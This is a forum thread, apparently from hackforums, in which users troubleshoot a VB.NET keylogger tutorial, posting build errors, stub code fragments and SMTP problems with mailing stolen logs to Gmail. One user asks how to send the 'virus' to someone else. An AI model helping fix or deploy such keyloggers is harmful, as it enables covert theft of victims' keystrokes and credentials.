Why does this happen?
 
 When I build the server, it builds on one the directory before it...named "[Folder Name]Server.exe"
 
 The [Folder Name] is the name of the directory that the builder is in.. please pm me about this.
Thanks!

Kirk Gandril - July 24, 2010, 5:33 am 
 (Jul 13, 2010 07:39 PM)Grav123 Wrote: [CITE] Please help I keep getting the error when debugging
on the stub:
 Index was outside the bounds of the array.
 on this line in bold
   options = Split(text1, FileSplit)
   TextBox2.Text = options(1)
   TextBox3.Text = options(2)
 
 ^ and when I build it gives me a network error.
 Same here.... I'm having that problem aside from the problem in making the server...

newbie223 - July 25, 2010, 1:15 am 
there shouldn't be any error sry if there is probaly because this was old and i screwed something up

Kirk Gandril - July 25, 2010, 2:17 am 
 (Jul 25, 2010 01:15 AM)newbie223 Wrote: [CITE] there shouldn't be any error sry if there is probaly
because this was old and i screwed something up
 Can you please find out what's wrong with this?
 [img]http://img827.imageshack.us/img827/6098/15334661.png[/img]

versx - July 25, 2010, 8:52 am 

 Don't run the stub in debug mode, just build it and it should work.

Kirk Gandril - July 25, 2010, 9:14 pm 
 (Jul 25, 2010 08:52 AM)shitshit Wrote: [CITE] Don't run the stub in debug mode, just build it and it
should work.
 No it won't.. When you run the file, an error message will occur. "INDEX WAS OUTSIDE THE
BOUNDS OF THE ARRAY.."
 
 Every Keylogger Source Code that I use (rapidguide's, Soul Collector's and Vorfin's source) will
show that error when I start the build.. Some few weeks ago, when I used them, they worked... I am
now suspecting that there is a problem in the .NET FRAMEWORK.. Everything happened since I
upgraded.. I think I should go back to 4.0.... I think I must go back to 3.5.. but how do I go back? will

https://hackforums.net/showthread.php?pid=5134515#pid5134515
https://hackforums.net/showthread.php?pid=5369493#pid5369493
https://hackforums.net/showthread.php?pid=5374716#pid5374716


the old version overwrite my current installation of 4.0?

Sarajevo92 - July 26, 2010, 8:24 am 
When i attempt to run apps, its says to me all of that JIT debugger shit -.-'

Vilgoo - August 30, 2010, 4:44 pm 
I create everything right, but the keylogger just crash, but sends the log to the gmail acount, but the
mail is empty, I tested write something on the textbox1, but nothing.
 
 Could you help me with this?

JPhenom - August 30, 2010, 7:34 pm 
i am new to vb net so may come in usefull, thanks =D

Infect!on - December 25, 2010, 8:30 pm 
Was wondering When I test the email I get this error.
 
 smtpServer.Send(mail)
 
 The SMTP server requires a secure connection or the client was not authenticated. The server
response was: 5.5.1 Authentication Required. Learn more at
 

DerpMonster - April 13, 2011, 7:21 pm 
Windows 7, upon executing server I get :
 
 C:/Users/Me/desktop/NEWFOL~1.EXE
 The NTVDM CPU has encountered an illegal instruction.
 CS:0588 IP:016d OP:63 cd 21 8c db choose close to terminate the application.
 
 Any suggestions?

apt-get money - April 14, 2011, 1:34 am 
Well its not really a TuT , its like. copy paste this copy paste this.
 
 You should also tell us to read trough it and try to understand it too , since that shit is kinda easy to
understand.

marius23 - November 4, 2012, 3:42 am 
does not work : ( please you can send me email tiger_leonard@ymail.com

janus - February 14, 2013, 10:30 am 
please reply 
 where do you get the "file/virus" you send to another? i made it all now it just says server created
and sending me that test thing

AmrAhmed - February 16, 2013, 1:45 am 
This program look pretty good <3 Nice One pretty clean!

 


